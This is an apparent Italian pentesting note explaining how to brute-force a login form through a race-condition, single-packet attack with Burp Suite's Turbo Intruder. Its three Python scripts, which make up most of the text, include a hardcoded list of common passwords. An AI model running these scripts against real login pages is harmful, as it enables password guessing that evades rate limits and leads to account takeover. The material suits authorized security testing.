tags: Race_Conditions Race_Condition_BruteForce Turbo_Intruder_BruteForce
Per testare la vulnerabilità di Race Condition in un login form possiamo utilizzare Turbo Intruder che è un’estensione di BurpSuite. Questa estensione permette di effettuare tante richieste come se fossero una sola, per capire come utilizzarla puoi andare a questa pagina -⇒ Turbo Intruder.
Una volta entrati nell’interfaccia di Turbo Intruder scegli lo script race-single-packet-attack.py dal menù a tendina che dovrebbe essere il seguente:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1, # una sola connessione
engine=Engine.BURP2) # abilita il single-packet attack
# accoda 20 richieste identiche nel "cancello" chiamato '1'
for i in range(20):
engine.queue(target.req, gate='1')
# apre il cancello: spara tutte e 20 le richieste in parallelo
engine.openGate('1')Ora nella richiesta di Post modifica il parametro che vuoi attaccare sostituendo il valore con %s e in seguito lo script nel seguente modo:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
# una richiesta per ogni password, tutte nello stesso gate '1'
for password in wordlists.clipboard:
engine.queue(target.req, password, gate='1')
# apre il gate: tutte le richieste partono insieme
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)Con questa modifica ti basta copiare la wordlist negli appunti con CTRL+c e poi cliccare su Attack e vedere poi nelle risposte se ci sono delle variazioni.
Nel caso in cui volessi copiare la worlist direttamente nello script ti basterebbe modificare lo script nel seguente modo:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2)
passwords = ['123123', 'abc123', 'football', 'monkey', 'letmein',
'shadow', 'master', '666666', 'qwertyuiop', '123321',
'mustang', '123456', 'password', '12345678', 'qwerty',
'123456789', '12345', '1234', '111111', '1234567',
'dragon', '1234567890', 'michael', 'x654321', 'superman',
'1qaz2wsx', 'baseball', '7777777', '121212', '000000']
for password in passwords:
engine.queue(target.req, password, gate='1')
engine.openGate('1')
def handleResponse(req, interesting):
table.add(req)